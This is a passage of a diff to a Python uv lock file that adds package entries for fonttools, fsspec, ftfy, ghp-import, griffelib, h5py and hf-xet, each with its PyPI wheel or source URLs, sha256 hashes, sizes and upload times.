"https://files.pythonhosted.org/packages/16/31/d0f11c758bd0db36b664c92a0f9dfdcc2d7313749aa7d6629805c6946f21/fonttools-4.60.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1ee301273b0850f3a515299f212898f37421f42ff9adfc341702582ca5073c13", size = 4939717, upload-time = "2025-12-09T13:36:43.075Z" }, + { url = "https://files.pythonhosted.org/packages/d9/bc/1cff0d69522e561bf1b99bee7c3911c08c25e919584827c3454a64651ce9/fonttools-4.60.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c6eb4694cc3b9c03b7c01d65a9cf35b577f21aa6abdbeeb08d3114b842a58153", size = 5089205, upload-time = "2025-12-09T13:36:45.468Z" }, + { url = "https://files.pythonhosted.org/packages/05/e6/fb174f0069b7122e19828c551298bfd34fdf9480535d2a6ac2ed37afacd3/fonttools-4.60.2-cp312-cp312-win32.whl", hash = "sha256:57f07b616c69c244cc1a5a51072eeef07dddda5ebef9ca5c6e9cf6d59ae65b70", size = 2264674, upload-time = "2025-12-09T13:36:49.238Z" }, + { url = "https://files.pythonhosted.org/packages/75/57/6552ffd6b582d3e6a9f01780c5275e6dfff1e70ca146101733aa1c12a129/fonttools-4.60.2-cp312-cp312-win_amd64.whl", hash = "sha256:310035802392f1fe5a7cf43d76f6ff4a24c919e4c72c0352e7b8176e2584b8a0", size = 2314701, upload-time = "2025-12-09T13:36:51.09Z" }, + { url = "https://files.pythonhosted.org/packages/2e/e4/8381d0ca6b6c6c484660b03517ec5b5b81feeefca3808726dece36c652a9/fonttools-4.60.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:2bb5fd231e56ccd7403212636dcccffc96c5ae0d6f9e4721fa0a32cb2e3ca432", size = 2842063, upload-time = "2025-12-09T13:36:53.468Z" }, + { url = "https://files.pythonhosted.org/packages/b4/2c/4367117ee8ff4f4374787a1222da0bd413d80cf3522111f727a7b8f80d1d/fonttools-4.60.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:536b5fab7b6fec78ccf59b5c59489189d9d0a8b0d3a77ed1858be59afb096696", size = 2393792, upload-time = "2025-12-09T13:36:55.742Z" }, + { url = "https://files.pythonhosted.org/packages/49/b7/a76b6dffa193869e54e32ca2f9abb0d0e66784bc8a24e6f86eb093015481/fonttools-4.60.2-cp313-cp313-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:6b9288fc38252ac86a9570f19313ecbc9ff678982e0f27c757a85f1f284d3400", size = 4924020, upload-time = "2025-12-09T13:36:58.229Z" }, + { url = "https://files.pythonhosted.org/packages/bd/4e/0078200e2259f0061c86a74075f507d64c43dd2ab38971956a5c0012d344/fonttools-4.60.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93fcb420791d839ef592eada2b69997c445d0ce9c969b5190f2e16828ec10607", size = 4980070, upload-time = "2025-12-09T13:37:00.311Z" }, + { url = "https://files.pythonhosted.org/packages/85/1f/d87c85a11cb84852c975251581862681e4a0c1c3bd456c648792203f311b/fonttools-4.60.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7916a381b094db4052ac284255186aebf74c5440248b78860cb41e300036f598", size = 4921411, upload-time = "2025-12-09T13:37:02.345Z" }, + { url = "https://files.pythonhosted.org/packages/75/c0/7efad650f5ed8e317c2633133ef3c64917e7adf2e4e2940c798f5d57ec6e/fonttools-4.60.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:58c8c393d5e16b15662cfc2d988491940458aa87894c662154f50c7b49440bef", size = 5063465, upload-time = "2025-12-09T13:37:04.836Z" }, + { url = "https://files.pythonhosted.org/packages/18/a8/750518c4f8cdd79393b386bc81226047ade80239e58c6c9f5dbe1fdd8ea1/fonttools-4.60.2-cp313-cp313-win32.whl", hash = "sha256:19c6e0afd8b02008caa0aa08ab896dfce5d0bcb510c49b2c499541d5cb95a963", size = 2263443, upload-time = "2025-12-09T13:37:06.762Z" }, + { url = "https://files.pythonhosted.org/packages/b8/22/026c60376f165981f80a0e90bd98a79ae3334e9d89a3d046c4d2e265c724/fonttools-4.60.2-cp313-cp313-win_amd64.whl", hash = "sha256:6a500dc59e11b2338c2dba1f8cf11a4ae8be35ec24af8b2628b8759a61457b76", size = 2313800, upload-time = "2025-12-09T13:37:08.713Z" }, + { url = "https://files.pythonhosted.org/packages/7e/ab/7cf1f5204e1366ddf9dc5cdc2789b571feb9eebcee0e3463c3f457df5f52/fonttools-4.60.2-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:9387c532acbe323bbf2a920f132bce3c408a609d5f9dcfc6532fbc7e37f8ccbb", size = 2841690, upload-time = "2025-12-09T13:37:10.696Z" }, + { url = "https://files.pythonhosted.org/packages/00/3c/0bf83c6f863cc8b934952567fa2bf737cfcec8fc4ffb59b3f93820095f89/fonttools-4.60.2-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:e6f1c824185b5b8fb681297f315f26ae55abb0d560c2579242feea8236b1cfef", size = 2392191, upload-time = "2025-12-09T13:37:12.954Z" }, + { url = "https://files.pythonhosted.org/packages/00/f0/40090d148b8907fbea12e9bdf1ff149f30cdf1769e3b2c3e0dbf5106b88d/fonttools-4.60.2-cp314-cp314-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:55a3129d1e4030b1a30260f1b32fe76781b585fb2111d04a988e141c09eb6403", size = 4873503, upload-time = "2025-12-09T13:37:15.142Z" }, + { url = "https://files.pythonhosted.org/packages/dc/e0/d8b13f99e58b8c293781288ba62fe634f1f0697c9c4c0ae104d3215f3a10/fonttools-4.60.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b196e63753abc33b3b97a6fd6de4b7c4fef5552c0a5ba5e562be214d1e9668e0", size = 4968493, upload-time = "2025-12-09T13:37:18.272Z" }, + { url = "https://files.pythonhosted.org/packages/46/c5/960764d12c92bc225f02401d3067048cb7b282293d9e48e39fe2b0ec38a9/fonttools-4.60.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:de76c8d740fb55745f3b154f0470c56db92ae3be27af8ad6c2e88f1458260c9a", size = 4920015, upload-time = "2025-12-09T13:37:20.334Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ab/839d8caf253d1eef3653ef4d34427d0326d17a53efaec9eb04056b670fff/fonttools-4.60.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6ba6303225c95998c9fda2d410aa792c3d2c1390a09df58d194b03e17583fa25", size = 5031165, upload-time = "2025-12-09T13:37:23.57Z" }, + { url = "https://files.pythonhosted.org/packages/de/bf/3bc862796a6841cbe0725bb5512d272239b809dba631a4b0301df885e62d/fonttools-4.60.2-cp314-cp314-win32.whl", hash = "sha256:0a89728ce10d7c816fedaa5380c06d2793e7a8a634d7ce16810e536c22047384", size = 2267526, upload-time = "2025-12-09T13:37:25.821Z" }, + { url = "https://files.pythonhosted.org/packages/fc/a1/c1909cacf00c76dc37b4743451561fbaaf7db4172c22a6d9394081d114c3/fonttools-4.60.2-cp314-cp314-win_amd64.whl", hash = "sha256:fa8446e6ab8bd778b82cb1077058a2addba86f30de27ab9cc18ed32b34bc8667", size = 2319096, upload-time = "2025-12-09T13:37:28.058Z" }, + { url = "https://files.pythonhosted.org/packages/29/b3/f66e71433f08e3a931b2b31a665aeed17fcc5e6911fc73529c70a232e421/fonttools-4.60.2-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:4063bc81ac5a4137642865cb63dd270e37b3cd1f55a07c0d6e41d072699ccca2", size = 2925167, upload-time = "2025-12-09T13:37:30.348Z" }, + { url = "https://files.pythonhosted.org/packages/2e/13/eeb491ff743594bbd0bee6e49422c03a59fe9c49002d3cc60eeb77414285/fonttools-4.60.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:ebfdb66fa69732ed604ab8e2a0431e6deff35e933a11d73418cbc7823d03b8e1", size = 2430923, upload-time = "2025-12-09T13:37:32.817Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e5/db609f785e460796e53c4dbc3874a5f4948477f27beceb5e2d24b2537666/fonttools-4.60.2-cp314-cp314t-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:50b10b3b1a72d1d54c61b0e59239e1a94c0958f4a06a1febf97ce75388dd91a4", size = 4877729, upload-time = "2025-12-09T13:37:35.858Z" }, + { url = "https://files.pythonhosted.org/packages/5f/d6/85e4484dd4bfb03fee7bd370d65888cccbd3dee2681ee48c869dd5ccb23f/fonttools-4.60.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:beae16891a13b4a2ddec9b39b4de76092a3025e4d1c82362e3042b62295d5e4d", size = 5096003, upload-time = "2025-12-09T13:37:37.862Z" }, + { url = "https://files.pythonhosted.org/packages/30/49/1a98e44b71030b83d2046f981373b80571868259d98e6dae7bc20099dac6/fonttools-4.60.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:522f017fdb3766fd5d2d321774ef351cc6ce88ad4e6ac9efe643e4a2b9d528db", size = 4974410, upload-time = "2025-12-09T13:37:40.166Z" }, + { url = "https://files.pythonhosted.org/packages/42/07/d6f775d950ee8a841012472c7303f8819423d8cc3b4530915de7265ebfa2/fonttools-4.60.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:82cceceaf9c09a965a75b84a4b240dd3768e596ffb65ef53852681606fe7c9ba", size = 5002036, upload-time = "2025-12-09T13:37:42.639Z" }, + { url = "https://files.pythonhosted.org/packages/73/f6/ba6458f83ce1a9f8c3b17bd8f7b8a2205a126aac1055796b7e7cfebbd38f/fonttools-4.60.2-cp314-cp314t-win32.whl", hash = "sha256:bbfbc918a75437fe7e6d64d1b1e1f713237df1cf00f3a36dedae910b2ba01cee", size = 2330985, upload-time = "2025-12-09T13:37:45.157Z" }, + { url = "https://files.pythonhosted.org/packages/91/24/fea0ba4d3a32d4ed1103a1098bfd99dc78b5fe3bb97202920744a37b73dc/fonttools-4.60.2-cp314-cp314t-win_amd64.whl", hash = "sha256:0e5cd9b0830f6550d58c84f3ab151a9892b50c4f9d538c5603c0ce6fff2eb3f1", size = 2396226, upload-time = "2025-12-09T13:37:47.355Z" }, + { url = "https://files.pythonhosted.org/packages/79/6c/10280af05b44fafd1dff69422805061fa1af29270bc52dce031ac69540bf/fonttools-4.60.2-py3-none-any.whl", hash = "sha256:73cf92eeda67cf6ff10c8af56fc8f4f07c1647d989a979be9e388a49be26552a", size = 1144610, upload-time = "2025-12-09T13:38:09.5Z" }, +] + +[[package]] +name = "fsspec" +version = "2026.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/51/7c/f60c259dcbf4f0c47cc4ddb8f7720d2dcdc8888c8e5ad84c73ea4531cc5b/fsspec-2026.2.0.tar.gz", hash = "sha256:6544e34b16869f5aacd5b90bdf1a71acb37792ea3ddf6125ee69a22a53fb8bff", size = 313441, upload-time = "2026-02-05T21:50:53.743Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/ab/fb21f4c939bb440104cc2b396d3be1d9b7a9fd3c6c2a53d98c45b3d7c954/fsspec-2026.2.0-py3-none-any.whl", hash = "sha256:98de475b5cb3bd66bedd5c4679e87b4fdfe1a3bf4d707b151b3c07e58c9a2437", size = 202505, upload-time = "2026-02-05T21:50:51.819Z" }, +] + +[[package]] +name = "ftfy" +version = "6.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "wcwidth" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a5/d3/8650919bc3c7c6e90ee3fa7fd618bf373cbbe55dff043bd67353dbb20cd8/ftfy-6.3.1.tar.gz", hash = "sha256:9b3c3d90f84fb267fe64d375a07b7f8912d817cf86009ae134aa03e1819506ec", size = 308927, upload-time = "2024-10-26T00:50:35.149Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ab/6e/81d47999aebc1b155f81eca4477a616a70f238a2549848c38983f3c22a82/ftfy-6.3.1-py3-none-any.whl", hash = "sha256:7c70eb532015cd2f9adb53f101fb6c7945988d023a085d127d1573dc49dd0083", size = 44821, upload-time = "2024-10-26T00:50:33.425Z" }, +] + +[[package]] +name = "ghp-import" +version = "2.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "python-dateutil" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d9/29/d40217cbe2f6b1359e00c6c307bb3fc876ba74068cbab3dde77f03ca0dc4/ghp-import-2.1.0.tar.gz", hash = "sha256:9c535c4c61193c2df8871222567d7fd7e5014d835f97dc7b7439069e2413d343", size = 10943, upload-time = "2022-05-02T15:47:16.11Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f7/ec/67fbef5d497f86283db54c22eec6f6140243aae73265799baaaa19cd17fb/ghp_import-2.1.0-py3-none-any.whl", hash = "sha256:8337dd7b50877f163d4c0289bc1f1c7f127550241988d568c1db512c4324a619", size = 11034, upload-time = "2022-05-02T15:47:14.552Z" }, +] + +[[package]] +name = "griffelib" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4d/51/c936033e16d12b627ea334aaaaf42229c37620d0f15593456ab69ab48161/griffelib-2.0.0-py3-none-any.whl", hash = "sha256:01284878c966508b6d6f1dbff9b6fa607bc062d8261c5c7253cb285b06422a7f", size = 142004, upload-time = "2026-02-09T19:09:40.561Z" }, +] + +[[package]] +name = "h5py" +version = "3.15.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4d/6a/0d79de0b025aa85dc8864de8e97659c94cf3d23148394a954dc5ca52f8c8/h5py-3.15.1.tar.gz", hash = "sha256:c86e3ed45c4473564de55aa83b6fc9e5ead86578773dfbd93047380042e26b69", size = 426236, upload-time = "2025-10-16T10:35:27.404Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/86/30/8fa61698b438dd751fa46a359792e801191dadab560d0a5f1c709443ef8e/h5py-3.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:67e59f6c2f19a32973a40f43d9a088ae324fe228c8366e25ebc57ceebf093a6b", size = 3414477, upload-time = "2025-10-16T10:33:24.201Z" }, + { url = "https://files.pythonhosted.org/packages/16/16/db2f63302937337c4e9e51d97a5984b769bdb7488e3d37632a6ac297f8ef/h5py-3.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0e2f471688402c3404fa4e13466e373e622fd4b74b47b56cfdff7cc688209422", size = 2850298, upload-time = "2025-10-16T10:33:27.747Z" }, + { url = "https://files.pythonhosted.org/packages/fc/2e/f1bb7de9b05112bfd14d5206090f0f92f1e75bbb412fbec5d4653c3d44dd/h5py-3.15.1-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4c45802bcb711e128a6839cb6c01e9ac648dc55df045c9542a675c771f15c8d5", size = 4523605, upload-time = "2025-10-16T10:33:31.168Z" }, + { url = "https://files.pythonhosted.org/packages/05/8a/63f4b08f3628171ce8da1a04681a65ee7ac338fde3cb3e9e3c9f7818e4da/h5py-3.15.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:64ce3f6470adb87c06e3a8dd1b90e973699f1759ad79bfa70c230939bff356c9", size = 4735346, upload-time = "2025-10-16T10:33:34.759Z" }, + { url = "https://files.pythonhosted.org/packages/74/48/f16d12d9de22277605bcc11c0dcab5e35f06a54be4798faa2636b5d44b3c/h5py-3.15.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:4411c1867b9899a25e983fff56d820a66f52ac326bbe10c7cdf7d832c9dcd883", size = 4175305, upload-time = "2025-10-16T10:33:38.83Z" }, + { url = "https://files.pythonhosted.org/packages/d6/2f/47cdbff65b2ce53c27458c6df63a232d7bb1644b97df37b2342442342c84/h5py-3.15.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:2cbc4104d3d4aca9d6db8c0c694555e255805bfeacf9eb1349bda871e26cacbe", size = 4653602, upload-time = "2025-10-16T10:33:42.188Z" }, + { url = "https://files.pythonhosted.org/packages/c3/28/dc08de359c2f43a67baa529cb70d7f9599848750031975eed92d6ae78e1d/h5py-3.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:01f55111ca516f5568ae7a7fc8247dfce607de331b4467ee8a9a6ed14e5422c7", size = 2873601, upload-time = "2025-10-16T10:33:45.323Z" }, + { url = "https://files.pythonhosted.org/packages/41/fd/8349b48b15b47768042cff06ad6e1c229f0a4bd89225bf6b6894fea27e6d/h5py-3.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5aaa330bcbf2830150c50897ea5dcbed30b5b6d56897289846ac5b9e529ec243", size = 3434135, upload-time = "2025-10-16T10:33:47.954Z" }, + { url = "https://files.pythonhosted.org/packages/c1/b0/1c628e26a0b95858f54aba17e1599e7f6cd241727596cc2580b72cb0a9bf/h5py-3.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c970fb80001fffabb0109eaf95116c8e7c0d3ca2de854e0901e8a04c1f098509", size = 2870958, upload-time = "2025-10-16T10:33:50.907Z" }, + { url = "https://files.pythonhosted.org/packages/f9/e3/c255cafc9b85e6ea04e2ad1bba1416baa1d7f57fc98a214be1144087690c/h5py-3.15.1-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:80e5bb5b9508d5d9da09f81fd00abbb3f85da8143e56b1585d59bc8ceb1dba8b", size = 4504770, upload-time = "2025-10-16T10:33:54.357Z" }, + { url = "https://files.pythonhosted.org/packages/8b/23/4ab1108e87851ccc69694b03b817d92e142966a6c4abd99e17db77f2c066/h5py-3.15.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5b849ba619a066196169763c33f9f0f02e381156d61c03e000bb0100f9950faf", size = 4700329, upload-time = "2025-10-16T10:33:57.616Z" }, + { url = "https://files.pythonhosted.org/packages/a4/e4/932a3a8516e4e475b90969bf250b1924dbe3612a02b897e426613aed68f4/h5py-3.15.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e7f6c841efd4e6e5b7e82222eaf90819927b6d256ab0f3aca29675601f654f3c", size = 4152456, upload-time = "2025-10-16T10:34:00.843Z" }, + { url = "https://files.pythonhosted.org/packages/2a/0a/f74d589883b13737021b2049ac796328f188dbb60c2ed35b101f5b95a3fc/h5py-3.15.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ca8a3a22458956ee7b40d8e39c9a9dc01f82933e4c030c964f8b875592f4d831", size = 4617295, upload-time = "2025-10-16T10:34:04.154Z" }, + { url = "https://files.pythonhosted.org/packages/23/95/499b4e56452ef8b6c95a271af0dde08dac4ddb70515a75f346d4f400579b/h5py-3.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:550e51131376889656feec4aff2170efc054a7fe79eb1da3bb92e1625d1ac878", size = 2882129, upload-time = "2025-10-16T10:34:06.886Z" }, + { url = "https://files.pythonhosted.org/packages/ce/bb/cfcc70b8a42222ba3ad4478bcef1791181ea908e2adbd7d53c66395edad5/h5py-3.15.1-cp311-cp311-win_arm64.whl", hash = "sha256:b39239947cb36a819147fc19e86b618dcb0953d1cd969f5ed71fc0de60392427", size = 2477121, upload-time = "2025-10-16T10:34:09.579Z" }, + { url = "https://files.pythonhosted.org/packages/62/b8/c0d9aa013ecfa8b7057946c080c0c07f6fa41e231d2e9bd306a2f8110bdc/h5py-3.15.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:316dd0f119734f324ca7ed10b5627a2de4ea42cc4dfbcedbee026aaa361c238c", size = 3399089, upload-time = "2025-10-16T10:34:12.135Z" }, + { url = "https://files.pythonhosted.org/packages/a4/5e/3c6f6e0430813c7aefe784d00c6711166f46225f5d229546eb53032c3707/h5py-3.15.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b51469890e58e85d5242e43aab29f5e9c7e526b951caab354f3ded4ac88e7b76", size = 2847803, upload-time = "2025-10-16T10:34:14.564Z" }, + { url = "https://files.pythonhosted.org/packages/00/69/ba36273b888a4a48d78f9268d2aee05787e4438557450a8442946ab8f3ec/h5py-3.15.1-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a33bfd5dfcea037196f7778534b1ff7e36a7f40a89e648c8f2967292eb6898e", size = 4914884, upload-time = "2025-10-16T10:34:18.452Z" }, + { url = "https://files.pythonhosted.org/packages/3a/30/d1c94066343a98bb2cea40120873193a4fed68c4ad7f8935c11caf74c681/h5py-3.15.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:25c8843fec43b2cc368aa15afa1cdf83fc5e17b1c4e10cd3771ef6c39b72e5ce", size = 5109965, upload-time = "2025-10-16T10:34:21.853Z" }, + { url = "https://files.pythonhosted.org/packages/81/3d/d28172116eafc3bc9f5991b3cb3fd2c8a95f5984f50880adfdf991de9087/h5py-3.15.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a308fd8681a864c04423c0324527237a0484e2611e3441f8089fd00ed56a8171", size = 4561870, upload-time = "2025-10-16T10:34:26.69Z" }, + { url = "https://files.pythonhosted.org/packages/a5/83/393a7226024238b0f51965a7156004eaae1fcf84aa4bfecf7e582676271b/h5py-3.15.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:f4a016df3f4a8a14d573b496e4d1964deb380e26031fc85fb40e417e9131888a", size = 5037161, upload-time = "2025-10-16T10:34:30.383Z" }, + { url = "https://files.pythonhosted.org/packages/cf/51/329e7436bf87ca6b0fe06dd0a3795c34bebe4ed8d6c44450a20565d57832/h5py-3.15.1-cp312-cp312-win_amd64.whl", hash = "sha256:59b25cf02411bf12e14f803fef0b80886444c7fe21a5ad17c6a28d3f08098a1e", size = 2874165, upload-time = "2025-10-16T10:34:33.461Z" }, + { url = "https://files.pythonhosted.org/packages/09/a8/2d02b10a66747c54446e932171dd89b8b4126c0111b440e6bc05a7c852ec/h5py-3.15.1-cp312-cp312-win_arm64.whl", hash = "sha256:61d5a58a9851e01ee61c932bbbb1c98fe20aba0a5674776600fb9a361c0aa652", size = 2458214, upload-time = "2025-10-16T10:34:35.733Z" }, + { url = "https://files.pythonhosted.org/packages/88/b3/40207e0192415cbff7ea1d37b9f24b33f6d38a5a2f5d18a678de78f967ae/h5py-3.15.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c8440fd8bee9500c235ecb7aa1917a0389a2adb80c209fa1cc485bd70e0d94a5", size = 3376511, upload-time = "2025-10-16T10:34:38.596Z" }, + { url = "https://files.pythonhosted.org/packages/31/96/ba99a003c763998035b0de4c299598125df5fc6c9ccf834f152ddd60e0fb/h5py-3.15.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:ab2219dbc6fcdb6932f76b548e2b16f34a1f52b7666e998157a4dfc02e2c4123", size = 2826143, upload-time = "2025-10-16T10:34:41.342Z" }, + { url = "https://files.pythonhosted.org/packages/6a/c2/fc6375d07ea3962df7afad7d863fe4bde18bb88530678c20d4c90c18de1d/h5py-3.15.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d8cb02c3a96255149ed3ac811eeea25b655d959c6dd5ce702c9a95ff11859eb5", size = 4908316, upload-time = "2025-10-16T10:34:44.619Z" }, + { url = "https://files.pythonhosted.org/packages/d9/69/4402ea66272dacc10b298cca18ed73e1c0791ff2ae9ed218d3859f9698ac/h5py-3.15.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:121b2b7a4c1915d63737483b7bff14ef253020f617c2fb2811f67a4bed9ac5e8", size = 5103710, upload-time = "2025-10-16T10:34:48.639Z" }, + { url = "https://files.pythonhosted.org/packages/e0/f6/11f1e2432d57d71322c02a97a5567829a75f223a8c821764a0e71a65cde8/h5py-3.15.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:59b0d63b318bf3cc06687def2b45afd75926bbc006f7b8cd2b1a231299fc8599", size = 4556042, upload-time = "2025-10-16T10:34:51.841Z" }, + { url = "https://files.pythonhosted.org/packages/18/88/3eda3ef16bfe7a7dbc3d8d6836bbaa7986feb5ff091395e140dc13927bcc/h5py-3.15.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e02fe77a03f652500d8bff288cbf3675f742fc0411f5a628fa37116507dc7cc0", size = 5030639, upload-time = "2025-10-16T10:34:55.257Z" }, + { url = "https://files.pythonhosted.org/packages/e5/ea/fbb258a98863f99befb10ed727152b4ae659f322e1d9c0576f8a62754e81/h5py-3.15.1-cp313-cp313-win_amd64.whl", hash = "sha256:dea78b092fd80a083563ed79a3171258d4a4d307492e7cf8b2313d464c82ba52", size = 2864363, upload-time = "2025-10-16T10:34:58.099Z" }, + { url = "https://files.pythonhosted.org/packages/5d/c9/35021cc9cd2b2915a7da3026e3d77a05bed1144a414ff840953b33937fb9/h5py-3.15.1-cp313-cp313-win_arm64.whl", hash = "sha256:c256254a8a81e2bddc0d376e23e2a6d2dc8a1e8a2261835ed8c1281a0744cd97", size = 2449570, upload-time = "2025-10-16T10:35:00.473Z" }, + { url = "https://files.pythonhosted.org/packages/a0/2c/926eba1514e4d2e47d0e9eb16c784e717d8b066398ccfca9b283917b1bfb/h5py-3.15.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:5f4fb0567eb8517c3ecd6b3c02c4f4e9da220c8932604960fd04e24ee1254763", size = 3380368, upload-time = "2025-10-16T10:35:03.117Z" }, + { url = "https://files.pythonhosted.org/packages/65/4b/d715ed454d3baa5f6ae1d30b7eca4c7a1c1084f6a2edead9e801a1541d62/h5py-3.15.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:954e480433e82d3872503104f9b285d369048c3a788b2b1a00e53d1c47c98dd2", size = 2833793, upload-time = "2025-10-16T10:35:05.623Z" }, + { url = "https://files.pythonhosted.org/packages/ef/d4/ef386c28e4579314610a8bffebbee3b69295b0237bc967340b7c653c6c10/h5py-3.15.1-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fd125c131889ebbef0849f4a0e29cf363b48aba42f228d08b4079913b576bb3a", size = 4903199, upload-time = "2025-10-16T10:35:08.972Z" }, + { url = "https://files.pythonhosted.org/packages/33/5d/65c619e195e0b5e54ea5a95c1bb600c8ff8715e0d09676e4cce56d89f492/h5py-3.15.1-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:28a20e1a4082a479b3d7db2169f3a5034af010b90842e75ebbf2e9e49eb4183e", size = 5097224, upload-time = "2025-10-16T10:35:12.808Z" }, + { url = "https://files.pythonhosted.org/packages/30/30/5273218400bf2da01609e1292f562c94b461fcb73c7a9e27fdadd43abc0a/h5py-3.15.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:fa8df5267f545b4946df8ca0d93d23382191018e4cda2deda4c2cedf9a010e13", size = 4551207, upload-time = "2025-10-16T10:35:16.24Z" }, + { url = "https://files.pythonhosted.org/packages/d3/39/a7ef948ddf4d1c556b0b2b9559534777bccc318543b3f5a1efdf6b556c9c/h5py-3.15.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99d374a21f7321a4c6ab327c4ab23bd925ad69821aeb53a1e75dd809d19f67fa", size = 5025426, upload-time = "2025-10-16T10:35:19.831Z" }, + { url = "https://files.pythonhosted.org/packages/b6/d8/7368679b8df6925b8415f9dcc9ab1dab01ddc384d2b2c24aac9191bd9ceb/h5py-3.15.1-cp314-cp314-win_amd64.whl", hash = "sha256:9c73d1d7cdb97d5b17ae385153472ce118bed607e43be11e9a9deefaa54e0734", size = 2865704, upload-time = "2025-10-16T10:35:22.658Z" }, + { url = "https://files.pythonhosted.org/packages/d3/b7/4a806f85d62c20157e62e58e03b27513dc9c55499768530acc4f4c5ce4be/h5py-3.15.1-cp314-cp314-win_arm64.whl", hash = "sha256:a6d8c5a05a76aca9a494b4c53ce8a9c29023b7f64f625c6ce1841e92a362ccdf", size = 2465544, upload-time = "2025-10-16T10:35:25.695Z" }, +] + +[[package]] +name = "hf-xet" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5e/6e/0f11bacf08a67f7fb5ee09740f2ca54163863b07b70d579356e9222ce5d8/hf_xet-1.2.0.tar.gz", hash = "sha256:a8c27070ca547293b6890c4bf389f713f80e8c478631432962bb7f4bc0bd7d7f", size = 506020, upload-time = "2025-10-24T19:04:32.129Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9e/a5/85ef910a0aa034a2abcfadc360ab5ac6f6bc4e9112349bd40ca97551cff0/hf_xet-1.2.0-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:ceeefcd1b7aed4956ae8499e2199607765fbd1c60510752003b6cc0b8413b649", size = 2861870, upload-time = "2025-10-24T19:04:11.422Z" }, + { url = "https://files.pythonhosted.org/packages/ea/40/e2e0a7eb9a51fe8828ba2d47fe22a7e74914ea8a0db68a18c3aa7449c767/hf_xet-1.2.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = 